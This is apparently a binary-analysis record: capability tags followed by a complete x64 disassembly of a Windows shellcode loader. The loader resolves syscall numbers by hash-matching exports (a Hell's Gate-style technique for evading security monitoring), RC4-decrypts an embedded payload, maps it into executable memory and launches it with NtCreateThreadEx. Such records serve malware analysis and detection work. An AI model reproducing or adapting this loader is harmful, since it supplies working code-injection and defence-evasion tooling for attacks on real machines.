Function at 0x140001230
Capabilities:
Access peb ldr_data
Check os version
Encrypt data using rc4 via systemfunction032
Get number of processors
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x140001585
cmp dword [rax + 0x118], 0xa
jne 0x140001585
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov r14, qword [rcx]
mov rcx, qword [r14 + 0x20]
cmp word [rcx], ax
jne 0x140001585
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001585
mov r15d, dword [rax + rcx + 0x88]
add r15, rcx
je 0x140001585
xor ebx, ebx
lea r9, [rbp - 0x19]
mov qword [rbp - 0x19], rbx
call fcn.140001070
lea rdx, str.ProtectedKey
lea rcx, str.unsigned_char__s____
call fcn.140001010
mov rsi, qword [rbp - 0x19]
lea r12, str.0x_0.2X
mov rdi, rsi
mov eax, ebx
and eax, 0x8000000f
jge 0x140001304
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001314
lea rcx, [0x140003428]
call fcn.140001010
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp ebx, 0x1f
cmovae rcx, r12
call fcn.140001010
inc ebx
inc rdi
cmp ebx, 0x20
jb 0x1400012f4
lea rcx, str.__n_n
call fcn.140001010
mov qword [rbp + 7], rsi
lea rcx, str.Advapi32
lea rsi, [0x1400050e0]
mov dword [rbp - 1], 0x20
mov qword [rbp - 0x11], rsi
mov dword [rbp + 3], 0x20
mov dword [rbp - 0x19], 0x114
mov dword [rbp - 0x15], 0x114
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x19]
call rax
test eax, eax
je 0x1400013ae
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error:_0x_0.8X__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000158a
xor ebx, ebx
mov qword [rbp + 0x17], 0x114
mov ecx, 0x60
mov qword [rbp - 9], rbx
mov qword [rbp + 0xf], rbx
mov qword [rbp + 0x1f], rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
test rax, rax
je 0x14000183d
mov ecx, 0x10
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14000183d
mov word [rax + 8], bx
movabs rcx, 0x2329e81ac5d1497a
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r13], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14000183d
mov word [rax + 8], bx
movabs rcx, 0x2014d82f702e79d4
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r13 + 0x10], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14000183d
mov word [rax + 8], bx
movabs rcx, 0xbb4a946a27b93797
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r13 + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14000183d
mov word [rax + 8], bx
movabs rcx, 0xf56ea80ef5031e7
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r13 + 0x30], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14000183d
mov word [rax + 8], bx
movabs rdx, 0x8866eb7e75145f1a
mov qword [rax], rdx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r13 + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14000183d
mov word [rax + 8], bx
movabs rcx, 0xce67f958e7fb4666
mov qword [rax], rcx
movups xmm0, xmmword [rax]
movups xmmword [r13 + 0x50], xmm0
mov rdi, qword [r14 + 0x20]
mov r14d, dword [r15 + 0x1c]
mov r12d, dword [r15 + 0x20]
add r14, rdi
mov ecx, dword [r15 + 0x24]
add r12, rdi
add rcx, rdi
mov qword [rbp - 0x19], rcx
cmp dword [r15 + 0x18], ebx
jbe 0x14000163a
movzx eax, bx
mov r9, r13
mov r11d, dword [r12 + rax*4]
movzx eax, word [rcx + rax*2]
add r11, rdi
mov r8d, dword [r14 + rax*4]
add r8, rdi
xor r10d, r10d
nop dword [rax + rax]
movzx eax, byte [r11]
mov rdx, r11
movabs rcx, 0x76346734deadbeef
test eax, eax
je 0x140001562
nop word [rax + rax]
imul rcx, rcx, 0x21
lea rdx, [rdx + 1]
add rcx, rax
movzx eax, byte [rdx]
test eax, eax
jne 0x140001550
cmp rcx, qword [r9]
jne 0x140001615
xor eax, eax
nop dword [rax]
movzx ecx, ax
movzx edx, byte [rcx + r8]
cmp dl, 0xf
jne 0x1400015b7
cmp byte [rcx + r8 + 1], 5
jne 0x1400015f2
mov eax, 1
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140001890
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp dl, 0xc3
je 0x140001585
cmp dl, 0x4c
jne 0x1400015f2
cmp byte [rcx + r8 + 1], 0x8b
jne 0x1400015f2
cmp byte [rcx + r8 + 2], 0xd1
jne 0x1400015f2
movzx ecx, ax
cmp byte [rcx + r8 + 3], 0xb8
jne 0x1400015f2
movzx ecx, ax
cmp byte [rcx + r8 + 6], 0
jne 0x1400015f2
movzx ecx, ax
cmp byte [rcx + r8 + 7], 0
je 0x1400015fa
inc ax
jmp 0x140001570
movzx ecx, ax
movzx edx, byte [rcx + r8 + 5]
movzx eax, byte [rcx + r8 + 4]
shl dx, 8
or dx, ax
mov word [r9 + 8], dx
inc r10
add r9, 0x10
cmp r10, 6
jl 0x140001530
mov rcx, qword [rbp - 0x19]
inc bx
movzx eax, bx
cmp eax, dword [r15 + 0x18]
jb 0x140001510
mov rbx, r13
mov edi, 6
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbx]
lea rcx, str.Value:__llu_n
call fcn.140001010
movzx edx, word [rbx + 8]
lea rcx, str.Value:__llu_n
call fcn.140001010
lea rbx, [rbx + 0x10]
sub rdi, 1
jne 0x140001650
movzx ecx, word [r13 + 8]
call fcn.140001860
mov qword [rsp + 0x30], rdi
lea r9, [rbp + 0x17]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp - 9]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.140001871
test eax, eax
je 0x1400016bf
mov edx, eax
lea rcx, str.____NtCreateSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
movzx ecx, word [r13 + 0x18]
mov qword [rbp - 0x19], rdi
call fcn.140001860
mov rcx, qword [rbp - 9]
lea rax, [rbp + 0x1f]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp - 0x19]
mov qword [rsp + 0x40], rdi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call fcn.140001871
test eax, eax
je 0x140001723
mov edx, eax
lea rcx, str.____NtMapViewOfSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
mov rbx, rdi
jmp 0x140001727
mov rbx, qword [rbp - 0x19]
mov rcx, rbx
mov eax, 2
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rsi]
lea rsi, [rsi + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rsi - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rsi - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rsi - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rsi - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rsi - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rsi - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rsi - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001730
movups xmm0, xmmword [rsi]
movups xmmword [rcx], xmm0
mov eax, dword [rsi + 0x10]
mov dword [rcx + 0x10], eax
movzx ecx, word [r13 + 0x48]
call fcn.140001860
mov qword [rsp + 0x50], rdi
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x48], rdi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], rdi
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov edx, 0x1fffff
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
call fcn.140001871
test eax, eax
je 0x1400017e8
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400017f4
lea rcx, str.____NtCreateThreadEx_Success
call fcn.140001010
movzx ecx, word [r13 + 0x58]
call fcn.140001860
mov rcx, qword [rbp - 9]
call fcn.140001871
test eax, eax
je 0x14000181b
mov edx, eax
lea rcx, str.____NTClose_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x140001827
lea rcx, str.____NTClose_Success
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x14000158a
lea rcx, [0x1400032e0]
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3